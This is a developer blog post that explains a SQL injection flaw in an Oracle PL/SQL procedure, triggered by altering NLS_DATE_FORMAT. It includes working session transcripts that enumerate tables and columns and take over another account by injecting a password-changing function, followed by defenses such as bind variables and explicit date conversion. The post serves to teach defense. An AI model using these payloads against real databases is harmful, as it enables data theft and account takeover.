Interesting Read Followup…
Two days ago I wrote about an interesting security fiasco and said I’d follow up on it in a day or two – so here we are.
Just to recap – I wrote previously:
As a quick test - see if you can
- determine how the following bit of code can be attacked
- what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
- how to best protect against that attack
- how else - short of the "best" - would you protect against the attack
create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';
dbms_output.put_line( l_query );
open c for l_query;
for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;
In the comments to that blog entry we did get the answers bit by bit, I’ll summarize them here.
For #1 and #2, determine how the following bit of code can be attacked and what the outcome might be, we saw in the comments that all it took was the ability to set your NLS_DATE_FORMAT. A capability anyone with CREATE SESSION has. For example, if we set the NLS_DATE_FORMAT and run the procedure:
ops$tkyte%ORA11GR2> alter session set
2 nls_date_format = '"''union select tname,0,null from tab--"';
Session altered.
ops$tkyte%ORA11GR2>
ops$tkyte%ORA11GR2> exec inj(sysdate)
select *
from all_users
where created = ''union select tname,0,null from
tab--'
BIG_AUDIT_TABLE.....
BIG_TABLE.....
USER_PW.....
C1.....
C2.....
PL/SQL procedure successfully completed.
As you can see – instead of reading ALL_USERS, we are now reading TAB – and seeing what tables might exist there. Now, I cannot query USER_PW – that is owned by the owner of the procedure and I have no select on it – but – we’ll be able to read it anyway since this stored procedure can be used to query any table in the schema that owns it! But first, we’ll need to see the column names – we don’t know those yet.
ops$tkyte%ORA11GR2> alter session set
2 nls_date_format = '"''union select tname||cname,0,null from col--"';
Session altered.
ops$tkyte%ORA11GR2> exec inj(sysdate)
select *
from all_users
where created = ''union select tname||cname,0,null
from col—'
USER_PWPW...
USER_PWUNAME...
I think you are getting the picture – using a bit of trickery – we can query up many things in that schema – discovering what we need as we go along.
If I have CREATE PROCEDURE (say a disgruntled developer, or a developer that just likes to be able to do stuff on the sly…) – I can go much further. Consider this:
ops$tkyte%ORA11GR2> grant execute on inj to scott;
Grant succeeded.
ops$tkyte%ORA11GR2> connect scott/tiger
Connected.
scott%ORA11GR2> create or replace function chgpw return varchar2
2 AUTHID CURRENT_USER
3 as
4 pragma autonomous_transaction;
5 begin
6 execute immediate 'alter user ops$tkyte identified by barfoo';
7 return 'got you';
8 end;
9 /
Function created.
scott%ORA11GR2> grant execute on chgpw to public;
Grant succeeded.
scott%ORA11GR2>
scott%ORA11GR2>
scott%ORA11GR2> connect ops$tkyte/barfoo
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
scott%ORA11GR2> connect scott/tiger
Connected.
scott%ORA11GR2> alter session set
2 nls_date_format = '"''union select scott.chgpw,0,null from dual--"';
Session altered.
scott%ORA11GR2> exec ops$tkyte.inj(sysdate)
select *
from all_users
where created = ''union select scott.chgpw,0,null from
dual--'
got you.....
PL/SQL procedure successfully completed.
scott%ORA11GR2> connect ops$tkyte/barfoo
Connected.
Anyone with create procedure and create session can kidnap that account. This is NOT a bug in Oracle, this is not a bug in the database – this is everything working as expected. This is a bug in your developed code.
Now, what about #3 and #4 – how can we protect against that attack? The easiest answer is always “use bind variables”. If you use bind variables in your SQL, your SQL cannot be injected. It is that simple.
If you use bind variables, your SQL cannot be injected.
SQL can only be injected when you concatenate inputs from the outside into your SQL. If you do not concatenate these inputs, they cannot become part of your SQL.
Now, what if you couldn’t use bind variables (I’m hard pressed to come up with a case whereby that is actually true!) or didn’t want to use bind variables (as might be true in a data mart/data warehouse). What then? In this case – you would never rely on an implicit conversion. This bit of code:
where created = ‘’’ || p_date || ‘’’’;
relies on an implicit conversion from a string to a date. Implicit conversion are evil incarnate – if you see them in your code or others code – fix it right away. Many bad things can happen – you’ve seen one above. One possible fix would be to use this code:
where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'' )';
That would make SQL Injection for that date input impossible – the ALTER SESSION SET NLS_DATE_FORMAT would have no impact on us anymore.
In other cases where the input is a string – we could use the DBMS_ASSERT package.
But always remember this:
If you use bind variables, your SQL cannot be injected.
It is really that simple!!!
posted by Thomas Kyte at 4:27 PM
15 Comments, Read/Add them...
